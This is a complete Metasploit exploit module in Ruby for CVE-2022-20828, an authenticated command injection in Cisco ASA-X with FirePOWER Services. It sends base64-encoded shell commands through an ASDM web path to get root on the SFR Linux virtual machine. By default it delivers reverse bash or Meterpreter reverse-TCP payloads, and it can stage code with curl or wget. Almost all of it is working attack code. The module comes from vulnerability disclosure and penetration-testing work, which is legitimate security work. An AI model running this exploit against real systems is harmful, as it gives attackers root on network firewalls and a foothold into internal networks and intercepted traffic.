Cisco ASA-X With FirePOWER Services Authenticated Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco ASA-X with FirePOWER Services Authenticated Command Injection',  
'Description' => %q{  
This module exploits an authenticated command injection vulnerability affecting  
Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's  
ASDM web server and lands in the FirePower Services SFR module's Linux virtual  
machine as the root user. Access to the virtual machine allows the attacker to  
pivot to the inside network, and access the outside network. Also, the SFR  
virtual machine is running snort on the traffic flowing through the ASA, so  
the attacker should have access to this diverted traffic as well.  
  
This module requires ASDM credentials in order to traverse the ASDM interface.  
A similar attack can be performed via Cisco CLI (over SSH), although that isn't  
implemented here.  
  
Finally, it's worth noting that this attack bypasses the affects of the  
`lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be  
available but this attack makes it available).  
  
Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that  
support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,  
and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module  
versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will  
receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'jbaines-r7' # Vulnerability discovery and Metasploit module  
],  
'References' => [  
[ 'CVE', '2022-20828' ],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/' ],  
[ 'URL', 'https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html']  
],  
'DisclosureDate' => '2022-06-22',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X64,],  
'Privileged' => true,  
'Targets' => [  
[  
'Shell Dropper',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X64,  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'curl', 'wget' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'MeterpreterTryToFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),  
])  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'),  
'headers' =>  
{  
'User-Agent' => 'ASDM/ Java/1',  
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])  
}  
})  
return CheckCode::Unknown('The target did not respond to the check.') unless res  
return CheckCode::Safe('Authentication failed.') if res.code == 401  
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200  
  
if res.body.include?('Invalid do command uid=0(root)')  
return CheckCode::Vulnerable("Successfully executed the 'id' command.")  
end  
  
CheckCode::Safe('The command injection does not appear to work.')  
end  
  
def execute_command(cmd, _opts = {})  
# base64 encode the payload to work around bad characters and then uri encode  
# the whole thing before yeeting it at the server  
encoded_payload = Rex::Text.uri_encode("(base64 -d<<<#{Rex::Text.encode_base64(cmd)}|sh)&")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/admin/exec/session+sfr+do+`#{encoded_payload}`"),  
'headers' =>  
{  
'User-Agent' => 'ASDM/ Java/1',  
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])  
}  
})  
  
if res  
fail_with(Failure::Unreachable, 'The target did not respond.') unless res  
fail_with(Failure::NoAccess, 'Could not log in. Verify credentials.') if res.code == 401  
fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200  
end  
  
if session_created?  
# technically speaking, bash can hold the connection open and skip all the res checks  
# also passing the res checks doesn't actually mean that the target was exploited so  
# check a session was created to get verification  
print_good('Session created!')  
else  
fail_with(Failure::NotVulnerable, 'The exploit was thrown but not session was created.')  
end  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`